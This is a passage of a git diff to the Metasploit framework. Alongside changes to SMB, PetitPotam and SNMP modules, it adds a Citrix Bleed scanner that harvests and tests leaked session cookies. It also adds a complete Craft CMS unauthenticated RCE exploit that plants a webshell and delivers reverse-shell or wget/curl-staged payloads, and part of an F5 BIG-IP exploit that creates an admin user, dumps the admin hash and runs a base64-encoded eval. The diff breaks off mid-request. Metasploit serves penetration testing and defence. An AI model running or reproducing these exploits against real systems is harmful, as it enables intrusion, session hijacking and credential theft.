"Endpoint: #{extracted_values['ObjectStore Endpoint']}, Bucket: #{extracted_values['ObjectStore Bucket']}"] + end + + print_good(table.to_s) + found = true + break # no need to keep going, we already got what we wanted + end + end + end +end diff --git a/modules/auxiliary/gather/windows_secrets_dump.rb b/modules/auxiliary/gather/windows_secrets_dump.rb index 26cf9df4a5..c28749a1e4 100644 --- a/modules/auxiliary/gather/windows_secrets_dump.rb +++ b/modules/auxiliary/gather/windows_secrets_dump.rb @@ -635,12 +635,42 @@ class MetasploitModule < Msf::Auxiliary password: datastore['SMBPass'] ) + auth_type = RubySMB::Dcerpc::RPC_C_AUTHN_WINNT + if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS + fail_with(Msf::Exploit::Failure::BadConfig, 'The Smb::Rhostname option is required when using Kerberos authentication.') if datastore['Smb::Rhostname'].blank? + fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank? + fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank? + offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Smb::KrbOfferedEncryptionTypes']) + fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty? + + kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new( + host: datastore['DomainControllerRhost'], + hostname: datastore['Smb::Rhostname'], + proxies: datastore['Proxies'], + realm: datastore['SMBDomain'], + username: datastore['SMBUser'], + password: datastore['SMBPass'], + framework: framework, + framework_module: self, + cache_file: datastore['Smb::Krb5Ccname'].blank? ? nil : datastore['Smb::Krb5Ccname'], + mutual_auth: true, + dce_style: true, + use_gss_checksum: true, + ticket_storage: kerberos_ticket_storage, + offered_etypes: offered_etypes + ) + + dcerpc_client.extend(Msf::Exploit::Remote::DCERPC::KerberosAuthentication) + dcerpc_client.kerberos_authenticator = kerberos_authenticator + auth_type = RubySMB::Dcerpc::RPC_C_AUTHN_GSS_NEGOTIATE + end + dcerpc_client.connect vprint_status('Binding to DRSR...') dcerpc_client.bind( endpoint: RubySMB::Dcerpc::Drsr, auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, - auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT + auth_type: auth_type ) vprint_status('Bound to DRSR') diff --git a/modules/auxiliary/scanner/dcerpc/petitpotam.rb b/modules/auxiliary/scanner/dcerpc/petitpotam.rb index 6375d32829..29e7750455 100644 --- a/modules/auxiliary/scanner/dcerpc/petitpotam.rb +++ b/modules/auxiliary/scanner/dcerpc/petitpotam.rb @@ -6,36 +6,38 @@ require 'windows_error' require 'ruby_smb' require 'ruby_smb/error' -require 'ruby_smb/dcerpc/encrypting_file_system' +require 'ruby_smb/dcerpc/lsarpc' +require 'ruby_smb/dcerpc/efsrpc' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner - - EncryptingFileSystem = RubySMB::Dcerpc::EncryptingFileSystem + include Msf::Auxiliary::Report METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents].freeze + # The LSARPC UUID should be used for all pipe handles, except for the efsrpc one. For that one use + # Efsrpc and it's normal UUID PIPE_HANDLES = { lsarpc: { - uuid: EncryptingFileSystem::LSARPC_UUID, - opts: ['\\lsarpc'.freeze] + endpoint: RubySMB::Dcerpc::Lsarpc, + filename: 'lsarpc'.freeze }, efsrpc: { - uuid: EncryptingFileSystem::EFSRPC_UUID, - opts: ['\\efsrpc'.freeze] + endpoint: RubySMB::Dcerpc::Efsrpc, + filename: 'efsrpc'.freeze }, samr: { - uuid: EncryptingFileSystem::LSARPC_UUID, - opts: ['\\samr'.freeze] + endpoint: RubySMB::Dcerpc::Lsarpc, + filename: 'samr'.freeze }, lsass: { - uuid: EncryptingFileSystem::LSARPC_UUID, - opts: ['\\lsass'.freeze] + endpoint: RubySMB::Dcerpc::Lsarpc, + filename: 'lsass'.freeze }, netlogon: { - uuid: EncryptingFileSystem::LSARPC_UUID, - opts: ['\\netlogon'.freeze] + endpoint: RubySMB::Dcerpc::Lsarpc, + filename: 'netlogon'.freeze } }.freeze @@ -78,19 +80,32 @@ class MetasploitModule < Msf::Auxiliary rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).") end + report_service(service_data) + + begin + @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$") + rescue RubySMB::Error::RubySMBError => e + raise StandardError, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})." + end handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym] fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args - @handle = dcerpc_handle( - handle_args[:uuid], + # rename tree_file + @pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true) + handle = dcerpc_handle( + handle_args[:endpoint]::UUID, handle_args.fetch(:version, '1.0'), handle_args.fetch(:protocol, 'ncacn_np'), - handle_args[:opts] + ["\\#{handle_args[:filename]}"] ) - vprint_status("Binding to #{@handle} ...") - dcerpc_bind(@handle) - vprint_status("Bound to #{@handle} ...") + vprint_status("Binding to #{handle} ...") + @pipe.bind( + endpoint: handle_args[:endpoint], + auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT + ) + vprint_status("Bound to #{handle} ...") if datastore['METHOD'] == 'Automatic' methods = METHODS @@ -107,8 +122,14 @@ class MetasploitModule < Msf::Auxiliary if response.nil? unless method == methods.last # rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try - vprint_status("Rebinding to #{@handle} ...") - dcerpc_bind(@handle) + vprint_status("Rebinding to #{handle} ...") + @pipe.close + @pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true) + @pipe.bind( + endpoint: handle_args[:endpoint], + auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT + ) end next @@ -129,16 +150,45 @@ class MetasploitModule < Msf::Auxiliary end end + def cleanup + if @pipe + @pipe.close + @pipe = nil + end + + if @tree + @tree.disconnect! + @tree = nil + end + + super + end + def efs_call(name, **kwargs) - request = EncryptingFileSystem.const_get("#{name}Request").new(**kwargs) + request = RubySMB::Dcerpc::Efsrpc.const_get("#{name}Request").new(**kwargs) begin - raw_response = dcerpc.call(request.opnum, request.to_binary_s) + raw_response = @pipe.dcerpc_request( + request, + auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT + ) rescue Rex::Proto::DCERPC::Exceptions::Fault => e print_error "The #{name} Encrypting File System RPC request failed (#{e.message})." return nil end - EncryptingFileSystem.const_get("#{name}Response").read(raw_response) + RubySMB::Dcerpc::Efsrpc.const_get("#{name}Response").read(raw_response) + end + + def service_data + { + host: rhost, + port: rport, + host_name: simple.client.default_name, + proto: 'tcp', + name: 'smb', + info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})" + } end end diff --git a/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.rb b/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.rb new file mode 100644 index 0000000000..55afb294be --- /dev/null +++ b/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.rb @@ -0,0 +1,105 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + COOKIE_NAME = 'NSC_AAAC'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Citrix ADC (NetScaler) Bleed Scanner', + 'Description' => %q{ + This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory for a + target Citrix ADC server. The leaked memory is then scanned for session cookies which can be hijacked if found. + }, + 'Author' => [ + 'Dylan Pindur', # original assetnote writeup + 'Spencer McIntyre' # metasploit module + ], + 'References' => [ + ['CVE', '2023-4966'], + ['URL', 'https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966'] + ], + 'DisclosureDate' => '2023-10-25', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [], + 'AKA' => ['Citrix Bleed'] + }, + 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + def get_user_for_cookie(cookie) + vprint_status("#{peer} - Checking cookie: #{cookie}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'logon/LogonPoint/Authentication/GetUserName'), + 'headers' => { + 'Cookie' => "#{COOKIE_NAME}=#{cookie}" + } + ) + return nil unless res&.code == 200 + + res.body.strip + end + + def run_host(_target_host) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'oauth/idp/.well-known/openid-configuration'), + 'headers' => { + 'Host' => Rex::Text.rand_text_alpha(24812), + 'Connection' => 'close' + } + ) + return nil unless res&.code == 200 + return nil unless res.headers['Content-Type'].present? + return nil unless res.headers['Content-Type'].downcase.start_with?('application/json') + + username = nil + res.body.scan(/([0-9a-f]{32,65})/i).each do |cookie| + cookie = cookie.first + username = get_user_for_cookie(cookie) + next unless username + + print_good("#{peer} - Cookie: #{COOKIE_NAME}=#{cookie} Username: #{username}") + report_vuln + end + + return if username + + begin + JSON.parse(res.body) + rescue JSON::ParserError + print_status("#{peer} - The target is vulnerable but no valid cookies were leaked.") + report_vuln + else + print_status("#{peer} - The target does not appear vulnerable.") + end + end + + def report_vuln + super( + host: rhost, + port: rport, + name: name, + refs: references + ) + end +end diff --git a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb index 241c3f0320..b3a444fd9d 100644 --- a/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb +++ b/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb @@ -26,14 +26,15 @@ class MetasploitModule < Msf::Auxiliary 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] }, + 'DisclosureDate' => '2021-12-02', 'References' => [ ['CVE', '2021-43798'], ['URL', 'https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p'], ['URL', 'https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/'], ['EDB', '50581'], ['URL', 'https://github.com/jas502n/Grafana-CVE-2021-43798'], - ['URL', 'https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce'] - + ['URL', 'https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce'], + ['URL', 'https://labs.detectify.com/security-guidance/how-i-found-the-grafana-zero-day-path-traversal-exploit-that-gave-me-access-to-your-logs/'] ] ) ) diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index f33cc51ecc..3ae74834c0 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -14,6 +14,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::CommandShell Aliases = [ 'auxiliary/scanner/smb/login' @@ -62,7 +63,25 @@ class MetasploitModule < Msf::Auxiliary ] ) - deregister_options('USERNAME', 'PASSWORD', 'PASSWORD_SPRAY') + options_to_deregister = %w[USERNAME PASSWORD PASSWORD_SPRAY CommandShellCleanupCommand AutoVerifySession] + + unless framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) + # Don't give the option to create a session unless smb sessions are enabled + options_to_deregister << 'CreateSession' + end + + deregister_options(*options_to_deregister) + + end + + def create_session? + # The CreateSession option is de-registered if SMB_SESSION_TYPE is not enabled + # but the option can still be set/saved so check to see if we should use it + if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) + datastore['CreateSession'] + else + false + end end def run_host(ip) @@ -105,7 +124,8 @@ class MetasploitModule < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, - kerberos_authenticator_factory: kerberos_authenticator_factory + kerberos_authenticator_factory: kerberos_authenticator_factory, + use_client_as_proof: create_session? ) if datastore['DETECT_ANY_AUTH'] @@ -148,6 +168,15 @@ class MetasploitModule < Msf::Auxiliary when Metasploit::Model::Login::Status::SUCCESSFUL print_brute level: :good, ip: ip, msg: "Success: '#{result.credential}' #{result.access_level}" report_creds(ip, rport, result) + if create_session? + begin + smb_client = result.proof + session_setup(result, smb_client) + rescue StandardError => e + elog('Failed to setup the session', error: e) + print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}" + end + end :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT if datastore['VERBOSE'] @@ -243,4 +272,31 @@ class MetasploitModule < Msf::Auxiliary create_credential_login(login_data) end + + # @param [Metasploit::Framework::LoginScanner::Result] result + # @param [RubySMB::Client] client + # @return [Msf::Sessions::SMB] + def session_setup(result, client) + return unless client + + # Create a new session + rstream = client.dispatcher.tcp_socket + sess = Msf::Sessions::SMB.new( + rstream, + { + client: client + } + ) + + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'PASSWORD' => result.credential.private + } + + start_session(self, nil, merge_me, false, sess.rstream, sess) + end + end diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb index 9b628df2c7..3ae2fb3f99 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb @@ -19,7 +19,9 @@ class MetasploitModule < Msf::Auxiliary [ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ], [ 'URL', 'https://net-snmp.sourceforge.io/docs/man/snmpwalk.html' ], [ 'URL', 'http://www.nothink.org/codes/snmpcheck/index.php' ], - ], + [ 'CVE', '1999-0508' ], # Weak password + [ 'CVE', '1999-0517' ], + [ 'CVE', '1999-0516' ] ], 'Author' => 'Matteo Cantoni ', 'License' => MSF_LICENSE )) diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index 14976c9e08..89dc055f44 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -20,7 +20,9 @@ class MetasploitModule < Msf::Auxiliary 'Author' => 'hdm', 'References' => [ - [ 'CVE', '1999-0508'] # Weak password + [ 'CVE', '1999-0508' ], # Weak password + [ 'CVE', '1999-0517' ], + [ 'CVE', '1999-0516' ], ], 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 2ed04c230f..8efdbc1579 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -60,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary ) deregister_options( - 'RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS', 'USERPASS_FILE', 'DB_ALL_PASS', 'DB_ALL_CREDS' + 'PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS', 'USERPASS_FILE', 'DB_ALL_PASS', 'DB_ALL_CREDS' ) @good_credentials = {} diff --git a/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb new file mode 100644 index 0000000000..f2e47c6d15 --- /dev/null +++ b/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb @@ -0,0 +1,268 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Craft CMS unauthenticated Remote Code Execution (RCE)', + 'Description' => %q{ + This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular + content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability + allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity + of the application. + + The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class + which allows to run arbitrary PHP code by escalating the object creation calling some methods available in + `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which + stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that + facilitates the reading of images, performance of image processing tasks, and writing of results back + to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the + Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the + malicious PHP code and gaining access to the system. + + Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain + access to the underlying operating system as the user that the web services are running as (typically www-data). + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module + 'Thanh', # discovery + 'chybeta' # poc + ], + 'References' => [ + [ 'CVE', '2023-41892' ], + [ 'URL', 'https://blog.calif.io/p/craftcms-rce' ], + [ 'URL', 'https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/' ], + [ 'URL', 'https://github.com/advisories/GHSA-4w8r-3xrw-v25g' ], + [ 'URL', 'https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892' ], + ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'unix', 'linux', 'php' ], + 'Privileged' => false, + 'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ], + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix Command', + { + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_X64, ARCH_X86 ], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-09-13', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [ true, 'Craft CMS base url', '/' ]), + OptString.new('WEBSHELL', [ + false, 'The name of the webshell with extension .php. Webshell name will be randomly generated if left unset.', '' + ]), + OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0]) + ] + ) + end + + def check_phpinfo + # checks vulnerability running phpinfo() and returns upload_tmp_dir and DOCUMENT_ROOT + @config = { 'upload_tmp_dir' => nil, 'document_root' => nil } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI']), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'action' => 'conditions/render', + 'configObject[class]' => 'craft\elements\conditions\ElementCondition', + 'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}' + } + }) + if res && res.body + # parse HTML to find the upload directory and the document root provided by phpinfo command output + html = res.get_html_document + unless html.blank? + tr_items = html.css('tr td') + tr_items.each_with_index do |item, i| + next if tr_items[i + 1].nil? + + if item.text.casecmp?('upload_tmp_dir') + if tr_items[i + 1].text.casecmp?('no value') + @config['upload_tmp_dir'] = '/tmp' + else + @config['upload_tmp_dir'] = tr_items[i + 1].text.strip + end + end + @config['document_root'] = tr_items[i + 1].text.strip if item.text.casecmp?('$_SERVER[\'DOCUMENT_ROOT\']') + end + end + end + end + + def upload_webshell + # randomize file name if option WEBSHELL is not set + if datastore['WEBSHELL'].blank? + @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php" + else + @webshell_name = datastore['WEBSHELL'].to_s + end + + # select webshell depending on the target setting (PHP or others). + @post_param = Rex::Text.rand_text_alphanumeric(1..8) + @get_param = Rex::Text.rand_text_alphanumeric(1..8) + + if target['Type'] == :php + # create the MSL payload + # payload = "" + payload = <<~EOS + + + + + + EOS + else + # create the MSL payload + # payload = "" + payload = <<~EOS + + + + + + EOS + end + + # construct multipart form data with Imagick MSL payload + form_data = Rex::MIME::Message.new + form_data.add_part('conditions/render', nil, nil, 'form-data; name="action"') + form_data.add_part('craft\elements\conditions\ElementCondition', nil, nil, 'form-data; name="configObject[class]"') + form_data.add_part('{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}', nil, nil, 'form-data; name="config"') + form_data.add_part(payload, 'text/plain', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4..8)}\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.msl\"") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI']), + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", + 'data' => form_data.to_s + }) + if res && res.code == 502 + # code 502 indicates a successful upload of the MSL payload in upload_tmp_dir (default /tmp unless specified in php.ini) + # next step is to generate the webshell in DOCUMENT_ROOT by executing the Imagick MSL payload + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI']), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'action' => 'conditions/render', + 'configObject[class]' => 'craft\elements\conditions\ElementCondition', + 'config' => "{\"name\":\"configObject\",\"as \":{\"class\":\"Imagick\", \"__construct()\":{\"files\":\"vid:msl:#{@config['upload_tmp_dir']}/php*\"}}}" + } + }) + # code 502 indicates a successful generation of the webshell in DOCUMENT_ROOT + return res&.code == 502 + end + false + end + + def execute_command(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + return send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + @post_param => payload + } + }) + end + + def on_new_session(session) + # cleanup webshell in DOCUMENT_ROOT + register_files_for_cleanup("#{@config['document_root']}/#{@webshell_name}") + + # Imagick plugin generates a php file with MSL code in the directory set by + # the PHP ini setting "upload_tmp_dir". This file gets executed to generate the webshell. + # A manual cleanup procedure is required to identify and remove the php* files when the session is established. + if session.type == 'meterpreter' + session.fs.dir.chdir(@config['upload_tmp_dir'].to_s) + clean_files = session.fs.dir.entries + else + clean_files = session.shell_command_token("cd #{@config['upload_tmp_dir']};ls php*").split(' ') + end + unless clean_files.blank? + clean_files.each do |f| + register_files_for_cleanup("#{@config['upload_tmp_dir']}/#{f}") if f.match(/^php+/) + end + end + super + end + + def check + check_phpinfo + return CheckCode::Appears unless @config['upload_tmp_dir'].nil? || @config['document_root'].nil? + + CheckCode::Safe + end + + def exploit + # check if upload_tmp_dir and document_root is already initialized with AutoCheck set otherwise run check_phpinfo + check_phpinfo unless datastore['AutoCheck'] + fail_with(Failure::NotVulnerable, 'Could not get required phpinfo. System is likely patched.') if @config['upload_tmp_dir'].nil? || @config['document_root'].nil? + fail_with(Failure::UnexpectedReply, "Webshell #{@webshell_name} upload failed.") unless upload_webshell + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :php, :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager(linemax: 65536) + end + end +end diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb similarity index 98% rename from modules/exploits/linux/http/f5_bigip_tmui_rce.rb rename to modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb index f0574bde60..b3e4d70f16 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb @@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper + include Msf::Exploit::Deprecated + moved_from 'exploit/linux/http/f5_bigip_tmui_rce' def initialize(info = {}) super( diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb new file mode 100644 index 0000000000..74267845b3 --- /dev/null +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -0,0 +1,292 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/apache_j_p' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Retry + + ApacheJP = Rex::Proto::ApacheJP + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE', + 'Description' => %q{ + This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external, + unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new + account to execute a command payload. Both the exploit and check methods automatically delete any temporary + accounts that are created. + }, + 'Author' => [ + 'Michael Weber', # vulnerability analysis + 'Thomas Hendrickson', # vulnerability analysis + 'Sandeep Singh', # nuclei template + 'Spencer McIntyre' # metasploit module + ], + 'References' => [ + ['CVE', '2023-46747'], + ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'], + ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'], + ['URL', 'https://my.f5.com/manage/s/article/K000137353'], + ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'], + ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis'] + ], + 'DisclosureDate' => '2023-10-26', # Vendor advisory + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, + 'Targets' => [ + [ + 'Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD + } + ], + ], + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443, + 'FETCH_WRITABLE_DIR' => '/tmp' + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [ + IOC_IN_LOGS, # user creation events are logged + CONFIG_CHANGES # a temporary user is created then deleted + ] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + def check + res = create_user(role: 'Guest') + return CheckCode::Unknown('No response received from target.') unless res + return CheckCode::Safe('Failed to create the user.') unless res.code == 200 + + changed = update_user_password + return CheckCode::Safe('Failed to set the new user\'s password.') unless changed + + res = bigip_api_tm_get_user(username) + return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate' + + CheckCode::Vulnerable('Successfully tested unauthenticated user creation.') + end + + def exploit + res = create_user(role: 'Administrator') + fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200 + + changed = update_user_password + fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed + + print_good("Admin user was created successfully. Credentials: #{username} - #{password}") + + res = bigip_api_tm_get_user('admin') + if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present? + print_good("Retrieved the admin hash: #{hash}") + report_hash('admin', hash) + end + + logged_in = retry_until_truthy(timeout: 30) do + res = bigip_api_shared_login + res&.code == 200 + end + fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in + + token = res.get_json_document.dig('token', 'token') + fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank? + + print_status("Obtained login token: #{token}") + + bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)" + # this may or may not timeout + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'), + 'headers' => { + 'Content-Type' => 'application/json', + 'X-F5-Auth-Token' => token + }, + 'data' => { 'command' => 'run', 